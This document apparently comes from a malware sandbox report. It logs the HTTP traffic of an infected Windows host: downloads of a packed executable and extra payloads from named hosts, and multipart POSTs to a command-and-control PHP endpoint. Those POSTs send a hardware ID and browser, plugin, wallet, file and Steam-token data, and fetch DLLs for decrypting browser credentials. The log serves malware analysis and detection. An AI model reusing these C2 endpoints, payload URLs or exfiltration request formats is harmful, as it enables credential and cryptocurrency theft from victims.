Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:18:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /karu/l2.exe HTTP/1.1Host: aldiablo.clCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEGHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="build"default------HJJJDAEGIDHCBFHJJJEG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEHHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="message"browsers------CBAKFCBFHJDHJKECAKEH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBFIJEHDHCBGDGDGCBHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 2d 2d 0d 0a Data Ascii: ------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="message"plugins------AFCBFIJEHDHCBGDGDGCB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="message"fplugins------BKKJDBFBKKJEBFHJEHJD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 46.8.231.109Content-Length: 7635Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFCHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAEHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDGHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file"------DAAAKFHIEGDGCAAAEGDG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAFIDBKEBFCBFIIIIIHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------FHCAFIDBKEBFCBFIIIIIContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------FHCAFIDBKEBFCBFIIIIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHCAFIDBKEBFCBFIIIIIContent-Disposition: form-data; name="file"------FHCAFIDBKEBFCBFIIIII--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFBHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDGHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"wallets------DAECAECFCAAEBFHIEHDG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFBHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="message"files------IIEBKJECFCFBFIECBKFB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJECGHJDBFIJJJKEHCBHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file"------KJJECGHJDBFIJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEHHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 2d 2d 0d 0a Data Ascii: ------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="message"ybncbhylepme------BAEGCGCGIEGDHIDHJJEH--
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDAHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 2d 2d 0d 0a Data Ascii: ------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBAKFIIJJKJJJJJJEGDA--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 147.45.68.138Content-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647-a33c7340-61ca------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IDHIEBAAKJDHIECAAFHC--
